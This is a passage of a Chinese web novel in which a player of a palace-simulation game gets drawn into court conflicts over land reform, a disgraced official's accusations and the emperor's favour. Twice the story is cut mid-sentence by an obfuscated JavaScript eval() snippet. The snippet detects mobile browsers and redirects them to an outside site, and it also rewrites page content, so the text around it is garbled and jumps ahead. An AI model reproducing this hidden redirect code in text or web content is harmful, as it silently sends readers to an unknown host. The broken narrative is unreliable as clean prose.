祝瑶认命地打开角色图鉴,找到竹子精,开始每日浇水,意外的四个按钮【浇水】【日光】【抚摸】【清凉】,多解锁了一个。 他可以选择【日光】了。 所幸他把两个都能点的都点了,浇水依旧是下雨雨,日光……一边下雨一边开太阳,不觉得很分裂吗? 祝瑶无奈地看着图里,竹影轻轻摇动,雨幕还未停下,天边的日光渐渐升起。 那田野里跋涉而来的士子,背着竹筐篓,似是摘了不少的野菜、茭白,他虽踩在泥泞里,衣襟略散乱,浑身依旧难掩清贵气质。 他忽得抬头望了一眼。 祝瑶吓了一跳,像是被发现了一样,这游戏互动性真怪啊,总能不能不要总是惊吓玩家。 他还是好好走日常行程吧。 于是,他打开地图,选择去了【文华殿】,界面上立刻浮现了个二次元的宫殿内部,不过是全景式的。 这回他倒是看到了好些个小人在忙碌着,走来走去。 他的角色小人,依旧穿着黑衣,可披了件厚重披风,手里似是拿着手炉,身上披风覆着金色纹样,更有个雪白的毛领儿。 这场景看起来冷冷的。 地面上甚至有几分细雪,显然雪未曾融干净。 [你的到来,让文华殿内众臣震惊不已,天可怜见,这可是你第一次来呢?] [文华殿本是太子属宫,不过由于无太子,暂且为众臣为你进行经筵,殿后有文渊阁藏天下书,时有臣子来此查阅书卷。] [你可在此同老师们探讨经学,也可选择随意闲逛,与人聊天。] 祝瑶:“……” 原来不一定都是学经啊!不早说,这地方感觉比那个【九华山】有意思多了,还可以和npc聊天耶! 想了下,祝瑶随便点了个看起来蛮漂亮的青衣小人,进行谈话。 这个颜色还挺特别的,新鲜。 不过,他真的不冷吗?这可是冬日刚过,显然一年里最冷的时节,其他小人都穿的不少,唯独他穿的这么少……难评。 [你选中了新任的国子监祭酒兰笙,他向来是个狂放不羁的人物,傲气十足,他很不屑你的粗蠢,并不愿意搭理你。] [你的谈话失败了。] "……" 祝瑶服了,还有这么有个性的npc. 【请问你要如何做呢?】 【离开/愤怒】 祝瑶呵了声,不聊天就不聊呗,当他很喜欢和这个不要温度要风度的傻逼聊天,他点了【离开】,然后跑到角落里选了个宫侍聊天。 [你选了个宫侍,他常年在文华殿值守,对这里十分的熟悉。] [他对你的搭话感到很奇怪、也有些震惊,不过他还是很负责的向你介绍了这里,并告知你,你的几位老师也在殿内。] [你当然不想找老师交流,想同这宫侍多聊一会。你见他有些年纪了,衣衫不算厚重,便把手炉递给了他。] [他很震惊,迟迟不敢接。] [你叹了口气,你的宫女冬枣道:“这是殿下赏你的。”,他这才收下了。然后,你向他多问了些近来民间的一些流行话本。] [他着实很惊异。] [不过,他还是很认真的回复了你,并向你推荐了后殿的文渊阁,表明那里有许多的藏书。] [你的谈话很成功。] 祝瑶很满意的看着“成功”二字,果然遇对人就好了。 【恭喜玩家解锁地点:文渊阁,可进入殿内休憩。】 【备注:文渊阁收纳天下藏书,海纳百川。这里藏书可多了,也有一些特别有意思的书哦,实乃消磨时间的好去处。】 祝瑶看着新提醒,这游戏还真是全靠探索啊,他觉得下次它还可以接着来这里,至少遇到的人多些。 他点点宫殿内的地,随处走了走,身旁跟了个同样穿了不少的粉衣小人,上方则显示了【冬枣】。 【冬枣】有悄悄话对你说。 祝瑶还没点击交谈,忽得之前那个有些漂亮的青衣小人走了过来。 [国子监祭酒兰笙很生气,他当众怒骂你性格顽劣,不学无术,举止无迹,欺上媚下,不修德行,更亲近内宦……实在不堪为储。] [他的当众指责,如河流般滔滔不绝,着实吸引了不少人。] 二次元的界面里,不少小人走出了宫殿,似是窃窃私语,观察这一幕。 【面对这样的指责,你该怎么回应呢?】 【不搭理】 【 】(空白处可自填) 祝瑶:“……”这是没事找事吧,他不和皇帝讲去,和自己讲,好端端就开骂,简直一个大喷子。 亲近内宦……他就刚刚选了个太监聊天,就叫亲近内宦。 呸。 祝瑶怒打了好几行字,回了过去。 他要喷死他。 目中无人,还不多穿衣服,难评! [你对这场莫名的指责很惊异,貌似刚才你也没惹他吧,你和其他人聊天关他什么事。面对如此奇葩,你干脆直接问了句:“那你想让谁当储君?”] [他似是完全没想到你居然会回应他,脸色有些僵硬。] [显然,这并不是个好回答的问题。] [许是在文华殿被授课的时候,你多数是个无聊懒散的模样,看起来也有些蠢笨,除了最早把你的老师气走了,还喜欢逃下课外,貌似……还挺好说话的,尤其瘦削的体态,莫名的觉得有些好欺负。] “……什么叫做好欺负?” 祝瑶喷了。 不要乱评价好吧。 [你平静地看着他,看得他哑口无言,忽得轻轻一笑道,"我并非是亲近内宦,而是亲近天下人。"] [你看了眼他,补了句,"冬日寒凉,这位大人还是多着些衣物吧。"] [随后,你选择带着你的宫女愉快离去,只留下面色难看的他。] [你此行此举,出乎意料。] [这件事情很快流入朝野内外,不少人对此事津津乐道。威望+1] 祝瑶看着新增的文字,还有些惊异,他还想接着聊天呢,怎么突然就结束了……不过,嘿嘿,他打的这几行字都喷了回去,这个逼他觉得装爽了,果然还是当喷子最爽了。 怼得好,极好! 神经。 内宦、宫侍不也是人,聊聊天怎么了?人也不是甘愿就想当宫人,那不是没得选。 他就不信这个国子监祭酒家里就没有仆从了,他就不会和仆从说话了。 祝瑶回到主界面,只见殿内的黑衣小人于桌案前端坐,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前头她是不容置疑道,后头则是有些轻声呢喃,忽得她目光停留在那桌案上白玉瓶里的一枝含苞欲绽的腊梅,那是陛下让人送来的……她轻轻问了句,“殿下,你害怕吗?” “你怕陛下吗?” 冬枣依旧有些不明白,也许是她不太敢相信事实。 即便明知道答案,她依旧想问,问这面前的殿下。 一段良久的沉默。 那桌案前的殿下,目光平静悠远,烛光映照出他的面容,只能堪称一句清秀,那兰祭酒同游的璐王倒是生的娇艳,于京里有些盛名,可那又怎样?容貌能决定一切吗?那为何当初先帝只轻轻宠过一阵奚美人,很快则奔向其他人。 那样的美貌,于帝王眼中也终究是过眼云烟。 “我是不怕的。” “可你们得怕。” 那样有些清淡、惆怅的声音,似有些无奈。 是啊,这位殿下向来不矫饰自己,有些过分坦诚,这是他天生的品性,他并非不清楚不懂得这其间的微妙,可他不愿……不愿意妥协,他情愿活得自我点,以至于在这宫里多么的不同。 尽管,这份不同也是由于另一人给的。 害怕吗?没有人不害怕、胆怯,那日的日头太好了,以至于阴影降临时所有人都反应不过来……她早该明白的,那样注视的目光,从来都不是兄弟,那怎会是兄弟呢? 怕是这位殿下也从未觉得他们是兄弟。 “是不是很荒唐……对啊,这个世界就是如此的荒唐。” “索性活的快活些吧。” “不需要想太多,想也无意义,不是吗?” 最终,她听到这位殿下有些叹惋,亦有些愉快说。 20. 二周目 “我睡了一夜吗?” 游戏大厅,祝瑶怔怔看着大屏幕上的场景,他就这般随性的伏在桌案上,陷入了梦中,那梦里有什么…… 谁也是不知的,他就静静地睡着,直到悄然而至的帝王将他抱起,他也未曾醒来,这一觉他睡得很沉,很安谧。 【恭喜玩家解锁cg:韶光慢 ,收获燃犀香x1】 【备注:燃犀香,点之人可通鬼神,鬼神亦可通人,以香为引,以香入梦,以香化形,鬼神可入人间,赴一场不归梦。】 祝瑶细细看着文字,点开背包,果然多了一支香,犀角为足,沉木为底,雕刻着云纹,很是精致。 “生离死别,人鬼相会?” 祝瑶轻轻呢喃了句,生与死,终是两别,再相会……何苦,只会更难走出来。 他目光微动,转而看向cg里的片段,鎏金的暗纹,仿佛命运交响的激昂音乐,偏偏是段静谧不过的默片。 那变幻着的画面,仿佛时间最好的铭刻般,记录着一切。 那样沉闷的夜色,黑漆描金屏风下旁塌上的少年,睡卧在帝王怀里,全然无知地的模样。 他不知愁。 帝王指尖轻轻拂过他的发,那样黑亮散着,落到耳畔处,越发显得脖颈处白皙,轻盈、柔弱地像只白鹿,只能受制于人,不能脱离掌控。 不知多久,他才将人揽在怀里,共赴梦乡。 待到清晨,帝王才匆匆醒来,可离去前梳洗时隔着铜镜,忽得发现一缕暗暗的银白,替他束发的宫婢面露惊恐,只见他悄然凑近看,目光渐渐沉了下来,可最终什么都没说,只回头望了眼少年。 【韶光慢 】 <屈指东风近,又是一年春好处,且问谁把流年暗偷换?> <问儿郎,今归处?不知,不知,只道……相见难,相守难。唯愿韶光慢,韶光慢。> “喵喵。” 白色猫儿尾巴翘起,不断地勾着人手臂,可未曾得到许多回应。 隔了不知多久,祝瑶将白猫抱起,近乎揣在怀里。 他幽幽叹了口气。 “做皇帝……尤其做个好皇帝,总是得操心许多的。” “所以,当皇帝有什么好的。” 祝瑶关了cg收录,一条条的cg收录的……何止是赫连辉的心事,怕更是他的岁月。 忽得,游戏再次提醒了句。 【每日提醒:请玩家不要忘记给竹竹浇水哦。】 “你可还真是……娇气!” “喵喵。” 白猫在怀里摇尾巴,想要跳出来,似是想飞跃、跳到屏幕上。 祝瑶撸了把猫,低声语,“不许调皮。” 这猫还挺喜欢……抓屏幕里的竹叶的,明明就抓不到好吗? 祝瑶认命的点击【浇水】【日光】,看着那画面里的竹叶浮动,似是很是欢快的模样,才回到了游戏主页面,开始新的一月行程安排。 这次,他选择重新规划了一下,尽量做到丰富。 基本所有能选的,他都选了,一点都不重样,尽量做到日日不同,为了这般他甚至把一些额外的课程也选了,比如几位老师单独开的课。 其中,最令他意外的是,夏启言开的课居然是算经。 【请问是否执行本月行程?】 【执行】 祝瑶看着画面浮动,依旧是二次元小人的多种场景,随着角落的时间正摇摆着,场景却不再多变,多是在文华殿。 [你上了第一天的课,努力完成了课程。] [你上了第二天的课,努力完成了课程。] [你上了第三天的课,努力完成了课程。] …… [这个月的你,堪称勤奋,不仅没有逃课,反而主动增加了不少课程,尽管成果貌似不佳,可向学之心可嘉,你的几位老师对你有所改观。威望+1] [可喜可贺,你在宫中内外终于有几分贤良的声名。] 祝瑶:“……” 他明明很久都没逃课了。 还有,这些老师对他要求也太低了吧,他好好上课就心满意足了,就这还能加威望? 貌似这月无事发生。 挺好。 祝瑶打开地图,开启这月月末的前往地点,忽得看到解锁的【福恩殿】,他点了前往,场景变幻。 清净的殿外,几个宫女肃立。 隔着帘幕,只见到个轻薄身影,跪坐在佛前,几缕檀香幽幽萦绕,更添几分不染俗世之感。 这并非二次元的场景,而是真切实景。 [你的母亲拒绝了你的求见。] [你沉默。] [你的母亲送来了一本手抄佛经,只道:唯愿世间无病无痛无灾,此生此心皆已献于佛门。望你安好。] [你默默于殿外立了一会,随后同自己的宫女离去。] [你从未问过那个禁卫的事,正如你也不问那个死去的太监,你们之间总是有太多沉默的空间。] [幼年时的蠢儿、痴儿传闻,流传于宫中已久,直到如今,都有年迈宫人不相信你并非是个传闻里的模样……你向来不太说话,她许是习以为常。] 祝瑶叹了口气。 这算是母子之间的默契?都不愿相见? 他开始了下一个月的行程,直接复制上个月的计划,然后随意改了几天的规划,开始了下一个月的行程。 这个三月依旧是无大事发生。 [此月的行程依旧满满,你较好地完成了这些课程。] [同去年相比,你的行止、作风规矩不少,貌似越来越像个合格的储君,你得到了不少的赞誉。威望+1] “……” 祝瑶头秃了,这什么鬼啊! 好好上个课,就能收获赞誉和威望……很可怕好不好。 [不过,貌似关于你是个妖怪的流言并未停歇……他们依旧觉得你实在是太可怕了,不敢想象世间竟有如此勤勉的人,竟是把每一分时间都安排的如此精细,没有半点的疏漏,实在不是常人能做出的。] "……" 勤勉有错吗?呵呵,不是你们觉得去年太重复了吗? 祝瑶看着游戏界面,宫殿里代表自己的小人,正规矩地坐地抚琴,身旁有两位小人,似在教导他学习着声乐。 随之,琴棋书画各类课程缓步进展中,画面上的场景也在变化。 [你抚琴的水平有点堪忧,还好也不算乐盲。] [你下棋的水平着实可怕,老师似是放弃了。] [你写字的水平居然不错,老师感到很欣慰。] [你画画的水平着实难评,老师批评了你的审美,表示实在……过于俗气。] “哼哼。” 这点祝瑶表示不服,他觉得赫连辉的审美更俗,好好的画技就爱画点小黄图,其实他也不是不爱看。 问题,别画自己啊! 头秃。 祝瑶接着看加载的课程评价,多数是如上面的评价差不多,真的感觉很适合那个智力:5的评价。 前面说较好完成,他还以为挂了修改器,不过貌似真的也就是“完成”,而不是学的好…… 顶多就普通完成。 【游戏提醒:玩家,真的不考虑加点吗?背包有可使用道具X1,大可放心大胆使用哦。】 “不加,不加。” 祝瑶铁拒,他觉得道具总有点坑人的地方,不是很想踩游戏的坑。 [相较于其他课程,你在算学一道上进展颇为迅速,犹擅珠心算,博得一声叫好。] [你得到了朝中户部的李侍郎的称赞,他自幼好算术,精通算学,昔年北地时就掌管一地生计。] [他为人刚正不阿,是个难得的清廉直臣。] [你于朝野中的风评有所好转。声名+1] 这算是学过高数的好处吗? 祝瑶乐了。 不过,赫连辉这个皇帝确实当得挺不错的吧……也算人尽其用?精通算学就放户部了,不过又多了个隐藏属性。 祝瑶都忍不住计算了下,威望是3,声名是1,反叛1。 不过也没什么用吧! 三月的月末,祝瑶依旧选择了【福恩殿】,屏幕上依旧是静默的背影,依旧不愿见面,依旧送了一卷佛经。 祝瑶看着界面里,自己的小人桌案上的佛经,真忍不住笑了。 游戏对他的属性判断,才是适合出家啊。 他母亲出啥家。 四月,五月、六月的行程,整整三个月,祝瑶依旧用着维持着差不多的安排,行程安排的满满的,月末去【福恩殿】,得到的和二月、三月,基本没有区别,依旧无大事发生,可看着一次次的提醒:声名+1 明明什么都没有做,压根没有什么突出的评价,他的声名却每月都+1,如今威望是3,声名是4。 况且……授经学课的四位老师里,独独缺了那个最年轻、最显眼、最好看的那个。 没错,就是他的攻略对象之一,竹子精。 不见了。 况且,也没有触发什么关于……赫连辉的事件。 祝瑶觉得应当是有什么事情发生了,想了下,这个六月的月底他选择去了【文华殿】,意外的是这里也没什么人。 春去夏来,日头转晴。 肃穆清幽的宫殿,唯独立着几个宫侍,院门的梨花落了,抽出鲜嫩的枝芽,渐渐长成果实。 实景的场景,很快化作二次元的全景界面,祝瑶可以更好的查看所有的人,除了几个宫侍外,就剩几个官员。 有人在后院里纵酒。 “???” 祝瑶看了眼,那是个小亭,亭内石桌上有方横琴,里面有个小人正醉酒当歌,袒胸露乳,极为放纵。 这小人勉强着着件绿衣,腰间配着玉,头顶着一朵簪花。 “……还挺臭美。” 祝瑶点击自己小人进了后院,细看院内场景,有三余人,一者是宫侍在从井里挑水,一者是官员似在晒书。 独独那绿衣小人却醉倚在栏杆处,纵酒欢歌。 背景音里传来几声短歌。 其他小人见怪不怪,并不理睬他,默默做着自个的事。 祝瑶想了下,点击这个绿衣小人进行谈话。 [你选中了前国子监祭酒兰笙,此时他正处于酒醉中,不甚清醒,狂态毕露,他见你时你来了,嗤笑了声,“殿下何事?”] “??” 祝瑶惊了,他怎么又选中了这个秀儿。 他还换衣服了。 服了。 名字也不给个提醒。 不过,他貌似被贬官了?这个“前”字莫名有些嘲讽。 界面上粉衣小人微微靠近,头顶显示【冬枣】,忽得增加了个【悄悄话】状态。 祝瑶未曾查看,忽得那亭内的绿衣小人走了下来,他走的七摇八扭,似是极为浑噩,却是缓缓向黑衣小人靠近。 “殿下,你穿什么黑衣呢?” “当穿白衣为妙。” 祝瑶微怔,忽得眼前突变,空旷的视野,渐渐走上前的人,一切都是那般的快,让人不由得恍惚。 眨眼间他从游戏大厅来到了游戏内。 空气间的酒气越发浓烈,那是张很有些漂亮的年轻面孔,有双狭长狐狸眼,像一把锋利的刀,极度的有冲击力。 “殿下,你说呢?我一直觉得白衣更配你,好一个……非尘世人,活该升天。” 呼吸越发浓厚,语气步步紧逼。 祝瑶不禁退后了半步。 身旁的冬枣拦在前头,大声呵斥了句,“兰大人,你这话是大逆不道。” 兰笙狂笑,拿起手里的酒壶,纵饮了个痛快。 “大逆不道?这天下没有比做皇帝的喜欢上自己弟弟,舍不得杀掉来要来的荒谬的!” “他这个祸水!” “他就该早就死掉,连同他那个娘,那个和自己亲舅舅逆伦乱了纲常的女人一样,就该通通死掉!” “你你你……” 冬枣满目震惊地看着他。 祝瑶只觉颇有些隔阂感,仿佛在听着一件件不属于自己的事情,只冷淡地、寂静的轻轻看着这一切。 “难道不是吗?他本就该死。” “他留在这宫里做什么,留着让朝野中人心浮不定,留着让奚家人乘机谋算吗?他要有点良心,就该上吊吊死,成全了陛下的礼遇之恩。” 兰笙边喝酒,边大笑道。 他衣衫散开,行迹无状,全然一副疯狂模样。 “……” “荒谬,殿下这么好的人,你以为是他愿意……留在宫里吗?” 话语到最后,冬枣隐隐有几分哭诉。 祝瑶冷静地听着,看着他忽然走近、目光灼灼盯着自己,忽得露出一个嘲讽的笑容,“他不愿意留,那就早该去死。” “殿下,你早就该……” “荒唐!” “子衿,你怎能将朝野之事,归罪于一人。何况,这本就非他的过错。” 很严肃的语调,同曾听过的清淡、悠远声音格外不同,脚步声渐近,宽袍大袖,红衣遮去了一切。 兰笙颓然坐地。 “是啊,非他之错,可陛下因他缘故……不愿意动奚家,陛下不愿意动,真非他之错吗?” “你不该将自己的无能,怪罪于人。” 那身前的人斥责道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540529|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏大厅,场景就停留在这一幕,仿佛将一切都盖过了,唯独剩下几声呼吸。 那是自己的。 祝瑶点开【悄悄话】,开始交流,二次元界面里黑衣的小人面色沉静,身旁的粉衣小人则有些焦急。 [你的宫女冬枣很焦急,很慌张,只说道,“殿下,你可千万不要将这件事放在心上,那兰笙不过是因丢了官职怪罪你,他本被陛下派去查量土地,却因自身品性缘故被朝野攻讦弹劾,失了职位。他不体惜陛下对他信重之恩,却因自身过失缘故,来怪罪殿下,不单是对殿下的不敬,更是愧对陛下的重用。”] 【那么你该说些什么呢?】 【沉默】 【 】(可自填) 祝瑶缓缓打了一句话,看着再次展开的对话。 [你沉默了一会,忽问:“那奚夫人呢?”] [这无疑是一句直指核心的问语,你的母亲在其中扮演着什么样的角色呢?也许她什么也不知道,也许避而不见恰是因为此事,与你和她有牵连的奚家,也许恰恰就卷入这场风波……] [查量土地一事历来牵扯甚大,你隐隐看出了其中的凶险,这不仅仅是个人的争论,而是朝野之争。] [也许,这恰是三个月平静的真面目,也恰是你声名渐起的真相。] 祝瑶看着这段对话,颇有些无力。 他就知道,平白得到的东西……就没几个好的,捧杀他,把他当做出头鸟,这群人太坏了,太坏了。 祝瑶忍不住瞅了眼趴在自己手臂间的猫,白猫似是感觉到注视,“喵呜”了声,摇起了尾巴,很有些神气。 他揪了揪,颇有些心累。 “你行行好,这么大的事情就敢做了,一声也不吭,这改革一个做不好……等着国破家亡吧,真不是开玩笑的事情啊。” 祝瑶真的忍不住扒拉自己说过的话了,他没说什么……特别……不靠谱的话吧。 他真的以前去封地路上就纯纯无聊,同人互怼。 赫连辉不至于都要采纳吧……步子卖的太大,真会死的很惨的。 不过,他都是皇帝了,再怎么惨也不会比实施改革的人惨,顶多失败了,斗不过重新回到原点。 想到这,祝瑶接着安心看接下来的对话。 [你的问话太过尖锐,直白。] [冬枣犹豫了许久,最终闷声说了许多奚家的事情。你的母亲奚夫人,最早是从母姓,叫赫连萱,她是先帝之妹昭惠公主同奚家玉郎的孩子,奚家惯出美人,得受圣眷,自先帝前就做过两朝的外戚,加上族中子弟能文善武,可谓朝中显贵。先帝虽有心割舍,亦依赖倚重并存,以至于奚家日渐势大。] [你的宫女冬枣有些忧心忡忡道:“如今陛下下令彻查天下田地,世家大户莫不惶惶不安……夏相自丈量土地以来,被朝野攻讦不知多少次,兰大人曾同他有过门生之谊,本来陛下是要让他查几位宗室的土地,可由于他过往着实不羁,朝野中人纷纷弹劾,陛下无奈之下,也只能另选人员。”] [“这本是他自身的不足,何必要推卸责任于殿下头上?”冬枣很是委屈道。] 祝瑶看到这里,是真叹气了。 【面对宫女的不解,你该如何回应?】 【沉默】 【 】(可自填) 祝瑶缓缓打了很长的一段话,才慢慢撑着头看着这场主仆之间的交流,这当然不是个人的攻讦,这恰恰源于他卷入了这场争斗,而究其原因,恐怕是赫连辉的缘故。 都说了,别吃饭没事干,立他当继承人。 不过,他也很好奇……另一派在依赖着什么,帝王的感情,这不太可能。 [你思索了许久,问了一段很长的话,“这无关紧要,关键在于丈量土地这件事,能否顺利的进展,无论是兰大人的狂态,亦是奚家人的事情,都无关紧要,我只是想问你,你觉得丈量土地这件事好不好?对天下人好不好?”] ["你觉得赫连辉和夏启言做的对吗?"] [冬枣眼底忽有些泪,默默道:‘殿下,这事情自然是好的,若是能重新丈量天下土地,天底下也就不会有那么多卖儿卖女的父母,或是卖了自身为奴为婢的人……普天之下,不知多少人由于那贪官污吏,同世家大族同谋合污,以图田地,蓄养奴婢,最终落了个债务满身,妻离子散,家破人亡。”] [“这自然是好的,可奚家……毕竟是您的……”] 【面对宫女的自白,你该如何做?】 【沉默】 【 】(可自填) 祝瑶悠悠长叹,王朝中后期的土地兼并导致税收收不上来,最后难以维持国家运转,简直封建社会的通病。 耕者有其田,终归难落实。 赫连辉的改革怕是不得不改……反复权衡后的举措。 他很是畅快地打了几行字。 【那又如何?难道我的命倚仗他们吗?我的生死由他们掌控吗?我非他们所生,更非他们所养,更无须他们所图……他们就能代表我吗?我就真的需要他们吗?倘若非要由他们那样,由他们所掌控,倒不如一死百了,还图个清静自在。】 【他们犯了错,便该罚,该惩。】 【他们若有罪,当以死谢罪,也应当去死一死。】 【他人会死,他们凭什么不死?难不成只能他们欺负人,不许他们受些苦?】 这昏暗的宫殿里,那位殿下就这般淡淡道来,隐隐含着几分好笑、荒谬意味。 冬枣听着有些怔住,这话里轻描淡写,可隐隐间……只觉风雨来袭,她忽觉得有些陌生感,她望向这位殿下,那样平静淡薄的目光,有那么一瞬间她敏锐意识到也许这怕是陛下选择的原因,并非仅仅只是情爱。 她微微移开目光,忽见漆黑鎏金的屏风外,立着个高大身影。 他就这般淡淡听着,看着,显然候了不少时间。 他依旧没有出声。 冬枣缓缓跪地,她只听到殿下那缓慢、悠长的语调,“你觉得呢?赫连辉,我说的可有错?” 21. 二周目 游戏大厅,屏幕将所有的时光都凝滞于那一刻,停留在那一句质问……刚刚,自己是在游戏里的对吧。 他问出了那句话,对的吧。 祝瑶抬头,全景式的屏幕将一切都记录,包括那刚刚长成的少年,那轻轻启声的话语,平地里生出一场惊。 玄衣的帝王头戴冠冕,少见地沉默无言。 “你在怕些什么?” “我不明白……” 殿内很静,香炉点燃,幽幽的萦绕在空中,宽敞的紫檀木桌案空无一物,唯独那截雪白的腕悄然搭着,稍稍撑着头,偏过目光,来看着这一切。 跪伏的宫婢如惊慌的兔子、狐狸等,见到了山中王者,不得不等候着命运的安排。 直到她们听到那句近乎呢喃的声音。 “……怕我死?” 祝瑶看到了那道身影默然不语,右臂悄然地抚上了厚重的黑漆屏风。 ”喵喵。” 白猫扒拉爪子,勾了下他的衣角。 祝瑶低头,许久许久。 直到余光中屏幕的光影消失,他才重新将目光放在游戏界面,直接打开日程安排,开始新的一月行程。 祝瑶把所有的安排都彻底的换了,如果之前的是尽量地安排合理,将每份时间都安排精细,这一次则是无比的随性,甚至直接空着。 加载的画面也沉闷、寂然,略有些阴影的浮光。 [你上了第一天的课,随性的完成了课程。] [你上了第二天的课,在上课的途中,你选择了逃课,由于没有能找到你的老师,一时半会都找不到你的踪影。] [直到阳光落下,最终才在文渊阁的梁柱上发现了你,天知道你是怎么爬上去的。] [你上了第三天的课,全程依旧心不在焉的模样。] …… [你上了第一天的课,你的老师训斥了你,认为你太不专心。] [你上了第二天的课,你来的姗姗而迟,以至于课程都要结束了,只得到了几声叹息。] [你干脆没上第三天的课,只在你的殿内呆了许久,做些自己想做的事情。] …… [你此月的行程有些散乱,无序,这一月你似乎无心学业,逃了许多的课,得到了不少的批评和指责。威望-1,声名+1] “……” 声名还+1,这群人是和自己杠起来了是吧! 祝瑶觉得有些神经,怎么看赫连辉年龄也算特别大,身强体壮,肉眼可见比自己这个体质4活的久吧。 买股也要买对股。 这是挑拨吧?赫连辉还在当皇帝,当的挺好的,就这样各种不顾地宣扬自己的名声,简直绝了。 换任何一个皇帝和继承人都接受不了,若不是他和赫连辉远非他们想象的……这完全能害死自己。 祝瑶挺无语的,选择接着往下看。 画面换了副场景,变得静水流深起来,夹杂着几分闲趣。 [这个月你犹为放纵,做了许多没做过的事情。] [你同你的宫女一起采了莲子,摘了荷花,在太灵池的池水里划着小舟轻飘飘摇过,看着满目的荷叶,于流水中听着潺潺声,享受着这份惬意,这份独处的清静和悠闲。] “……去太灵池?” “真是太放纵了!” 祝瑶叹息看着界面上清新的小舟浮过莲池,水面光影流动。 伴随着欢笑,惬意,小舟内隔着一缕纱幕,影影绰绰的人有些弯腰,似是拿起一支莲花。 无力。 玩的时候不进游戏,生死关头必进。 [你尝试做了荷花糕,还挺好吃,卖相也不错。] 画面再次转换,桌案上呈着细腻的莲花状饼,还调了色,粉绿夹杂,煞是精巧。 祝瑶:“……” 应该这时候让自己进游戏的,好不好!他也想吃! [你明明做了足足40枚,剩下20枚,打算第二天赠人,可第二日没到,剩下20枚就不见踪影了。] [……你有些好笑,难道他就觉得自己不会送他吗?] “我去,贪吃鬼啊!” 祝瑶抓起想伸出舌头舔着屏幕上糕点的白猫,猫猫似有些懵逼,无助地垂下尾巴。 明明吃不到,好吗? 话说,这糕点是赫连辉拿走了吧…… 祝瑶很无奈,看着画面里转向更肃穆的场景,音乐渐渐激烈高昂起来,似乎风雨欲来。 [没有人在意你,仿佛你又成了这宫里的隐形人,当然……你深知,这不过是他们没时间来顾及你。] [正如你缺席的课,也变得不再重要。所有人的目光都放在了前朝之中,这场浩浩荡荡、争辩不绝的革新正一步步实行,也在一步步迎来不同的反对。] 【恭喜玩家解锁新地方:宣政殿,可在月末单独前往 】 【备注:宣政殿历来是皇帝临朝听政所在之地,每月的大朝会上,众多朝臣都会聚集此殿,议事听政,常人不能随便出入。】 祝瑶看着画面里,肃穆的宣政殿内,高居上方的帝座,那人玄衣金纹,九重旒冕挡住了他的神情,看不清如何,堂内明明是明亮的,可他俯首望向来时,只觉阴影附身。 谁会支持他? 为首的红衣官员依旧端肃,如修竹孑孑而立,可多了几分锋芒。恰似……竹里藏冰玉,冷冽如冰雪。 会是他吗? 祝瑶看着这实景,朝堂上每个官员神色各异,很是模糊的面孔,很难辨别是哪一派,支持还是反对。 [在这个月的月末,你同你的宫女一起做了些风筝。] [夏天快要尽了,不知道为什么你却有点想放风筝了……是想家了吗?你不清楚,可你明明就没有家,不是吗?] 祝瑶看着这行字,沉默良久,才道:“一个人的家也是家,好吗?” 这月行程结束了。 祝瑶没有选择去新解锁的宣政殿,而是选择去【九华山】,也许无事发生,某种意义上也挺好。 [你选择去了九华山,你带上你做好的风筝,那天的风很大,阳光很好,这是你第一次放风筝……] “???” “这是触发事件?” 祝瑶惊了,接着往下看。 [幼年时,路过那些广场时,你总是目光投向那些风筝,你甚至分辨不清自己在看些什么……是那能够陪伴孩子游玩的父母,是那飞的高高的各类风筝,还是享受着快乐和幸福的孩子们……] [风筝啊,风筝,飞的更高些吧,飞吧,飞吧。] [飞的更远些。] 画面上显示一片茵茵绿草,一个身影正放着风筝。 身旁围着几个人。 [忽得,风筝挣脱了线,随着风飞走了。] [你明明渴望飞的更高,可当风筝飞走时,你却情不自禁地想要留下它。] [你一路循着脱线的风筝而去,断线风筝飞的有些远,晃晃乎乎向南边飞去,终于你看见了半边风筝。] 画面变成了简笔画。 歪歪扭扭的小人,黑白线条的道路,建筑,一切都很简陋。 [你不顾及宫女的劝阻,执意爬上了假山,微微手撑着宫墙,伸出手去捉那半边风筝,这时那风筝晃荡着彻底掉了下去。] [你很是懊恼地探头,却看见了个红衣身影。] [这禁闭朱墙下,狭窄的道路上,他俯身下去,伸出那双修长的手,捡起了那风筝。] 【请问你要接过他的风筝吗?】 【接过/不接】 祝瑶想了下,打开【读取轮回】,把第二个【诗书/算盘/印章】选项的存稿覆盖了,存个档吧。 此刻,画面浮现的是朱红的宫墙,视线所在处正是俯身的红衣官员。 是他。 祝瑶微叹气,还未曾点击【接过】。 忽得,眼中似有眩晕感,手部的粗粝感令他整个人顿时清醒了,他恍然地抬头,撞进那双清冽的眼睛。 他不再年轻。 曾几何时,他觉得这人生的怪好看的,笑话过赫连辉连找个下属都找好看的。 那张脸依旧端朗,身姿如笔挺的竹,可不再是修挺的青竹,是厚重的、深青的,经历过风吹雨打的硬竹。 “殿下,不要爬的太高了。” 那声音清淡,平静。 祝瑶依旧怔怔看着那根红线,青灰色的暗红的线变了,变得更红了些,似是有些深红了,就这样缠绕着两人指尖,不是腕间。 近了。 更近了。 祝瑶低头,双手交错间的红线,不由得抬头看向那张成熟的、有些风霜的,似在枯死与寂静中爬起过的脸,恍惚间问了句,“我们是不是见过?” 说来真是奇怪,他不是觉得自己见过……这个人。 而是,他看自己的眼神。 有时候,仿佛在追逐着另一个人的影子,可有时候,这个人似乎并不存在,他只是在看自己。 “你是不是认错了人?” 祝瑶轻轻启语,接过了那片风筝。 没有回应。 隔了一会,墙下才缓缓传来有些沉闷的回语,“……殿下,晚些怕是有雨,早点回宫吧。” 